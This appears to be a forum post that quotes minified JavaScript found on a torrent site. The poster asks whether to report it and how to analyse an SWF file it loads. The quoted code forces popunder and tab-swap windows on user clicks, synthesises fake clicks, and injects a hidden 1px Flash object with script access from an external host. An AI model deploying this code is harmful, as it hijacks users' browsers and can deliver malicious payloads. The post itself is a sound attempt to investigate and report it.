return t && t.tagName ? t.tagName.toUpperCase() : 0
}, o.passClickDelay = function(e) {
return e = s || e, e.clickDelay > 0 ? (o.log("Number of clicks: " +
e.clickDelay), e.clickDelay--, !1) : !0
}, r.trigger = function(n) {
o.log("pop type: " + s.type);
var i = t.settings;
o.saveActiveViews(s, "_g.pop.views"), o.saveActiveViews = function() {};
try {
if (t.trace.warn("user " + n.type), r.pause) return;
if (o.rc("_g.pop.swap") == self.location.pathname) return void o
.attEvt(window, "beforeunload", function() {
o.sch("_g.pop.swap", "", -1)
});
if ("Chrome" != a.agent && "mousedown" == n.type || "Firefox" ==
a.agent && 2 == n.button) return;
if (s.ostarget && !o.passOS(s)) return;
if (s.mobileOnly && !a.isMobile()) return;
if (s.browserTarget && !o.passBrowser(s)) return;
if (s.freqcap && !o.passFreqCap(s, "_g.pop")) return;
if (s.activeViews && !o.passActiveViews(s, "_g.pop.views"))
return;
if (s.geotarget && !o.passGeo(null, s)) return;
if (s.price && (i.siteID = o.getSiteIDByGeo(s, i.siteID)),
function(e) {
return e === document ? 0 : e.className && e.className.toUpperCase()
.split(" ").indexOf("_SKIP") >= 0 ? 1 : arguments.callee(
e.parentNode)
}(n.target)) return void o.log("_skip detected", n);
if (s.clickDelay && !o.passClickDelay()) return;
t.trace.warn("pass checks", n), i.debug && 0 !== s.mode && (s.mode =
s.mode || 10), s.mode = !i.debug && (s.mode < 10 && 0 !==
s.mode || "undefined" == typeof s.mode) ? 10 : s.mode,
s.infinite && (s.mode = s.infinite), o.log("mode: " + s.mode)
} catch (l) {
return void o.log(l)
}
r.enableFlashHack && e.evtL[n.type].filter(function(e) {
return e != r.placeHolder
}).length > 0 && r.lock(n), "tab" == s.type && "Chrome" == a.agent ?
(r.botClick(r.url()), r.pause = 1, setTimeout(r.clear, 1)) : r.enableFlashHack &&
r.swf.PercentLoaded && r.swf.PercentLoaded() > 0 && "HTML" != n
.target.tagName.toUpperCase && "OBJECT" != n.target.tagName.toUpperCase ?
0 == n.button && (r.swf.style.width = r.swf.style.height =
"100%", setTimeout(function() {
r.swf.style.width = r.swf.style.height = "1px"
}, 500)) : r.clickHandler(n)
}, window.g367CB268B1094004A3689751E7AC568F = {}, window.g367CB268B1094004A3689751E7AC568F
.ExternalChromePop = r.clickHandler = function(e) {
e = e || window.event, r.pause = 1, t.trace.warn("new window");
var i = screen,
l = s.width || i.width,
c = s.height || i.height,
p = a.agent,
d = "tab" == s.type ? "" : "width=" + l + ",height=" + c +
",top=" + (i.height - c) / 2 + ",left=" + (i.width - l) / 2 +
",resizable=no,scrollbars=yes,toolbar=no,location=no,directories=no,status=no,menubar=no,copyhistory=no";
if ("swaptab" != s.type) n = open(r.url(), "_blank", d);
else {
if (u = function(e) {
return e == document ? self.location : "A" == e.tagName
.toUpperCase() ? e.href : arguments.callee(e.parentNode)
}(e.target), !u) return;
o.sch("_g.pop.swap", self.location.pathname), n = open(u,
"_blank", ""), self.location = r.url()
}
var f = setInterval(function() {
r.closeOnEmpty(n, f)
}, 500);
setTimeout(function() {
r.clear(n)
}, 1), "popup" != s.type && ("Firefox" == p && n.window.open(
"about:blank").close(), "Explorer" == p && (n.blur(), n
.opener.focus()))
}, r.closeOnEmpty = function(e, t) {
if (o.rc("NoAd")) try {
e.close(), o.sct("NoAd", "",
"Thu, 01 Jan 1970 00:00:01 GMT"), clearInterval(t)
} catch (a) {}
}, r.clear = function(a) {
if (!a) return void o.log("fail to create new window");
t.trace.warn("clean up"), r.pause = 1;
var n = r.swf;
s.mode >= 0 && o.saveFreq(s, "_g.pop", s.domain ? s.domain : null),
s.infinite && (s.mode = s.infinite), s.mode <= 0 ? (o.detEvt(e,
"click", r.placeHolder, 1), o.detEvt(e, "mousedown", r.placeHolder,
1), o.detEvt(e, "touchstart", r.placeHolder, 1),
setTimeout(function() {
n && e.body.removeChild(n)
}, 200)) : setTimeout(function() {
s.mode = r.pause = 0, r.swf.style.visibility = "", t.trace
.warn("reopen start")
}, 1e3 * s.mode), n && (n.style.visibility = "hidden", n.style.width =
n.style.height = "1px")
}, r.botClick = function(t) {
var a = e.createElement("a"),
n = e.createEvent("MouseEvents");
a.href = t, n.initMouseEvent("click", !1, !0, window, 0, 0, 0, 0, 0, !
0, !1, !1, !0, 0, null), a.dispatchEvent(n)
}, r.flash = function() {
o.log("body loaded");
var t = HTMLElement.prototype,
a = e.createElement("param"),
n = e.createElement("object");
t.attr = t.setAttribute, a.attr("name", "allowscriptaccess"), a.attr(
"value", "always"), n.appendChild(a), a = e.createElement(
"param"), a.attr("name", "wmode"), a.attr("value",
"transparent"), n.appendChild(a), a = e.createElement(
"param"), a.attr("name", "allowfullscreen"), a.attr("value",
"true"), n.appendChild(a), n.attr("data",
"//az413505.vo.msecnd.net/images/pu.swf"), n.attr("style",
"position:fixed;width:1px;height:1px;z-index:999999;overflow:hidden;left:0px"
), e.body.insertBefore(n, e.body.firstChild), r.swf = n, e.removeEventListener(
"DOMContentLoaded", r.flash)
}, r.init = function() {
try {
o.detEvt(e, "mousedown", _gunggo.pop.open, 1), o.detEvt(e,
"click", _gunggo.pop.open, 1)
} catch (t) {}
}, r.clkPop = r.trigger, a.flash && "popunder" == s.type && "Chrome" ==
a.agent && "Mac" != a.OS && top.location == self.location && (e.body ?
r.flash() : e.addEventListener("DOMContentLoaded", r.flash), r.enableFlashHack =
1);
if (a.isMobile() && a.agent == "Safari") document.onclick = function() {
window.open(r.url(), "_blank")
};
}();
This is from a torrent site. Is this something that I should inform google about or something? The file is called bin.js and it has a query string attched to the end of s = 0007778. This shouldn't be hosted on a googleapis.com subdomain, should it?
It appears to check for a vulnerable browser and download a presumably malicious SWF file. I downloaded the SWF but I don't know how to effectively analyze it.

Categories

Resources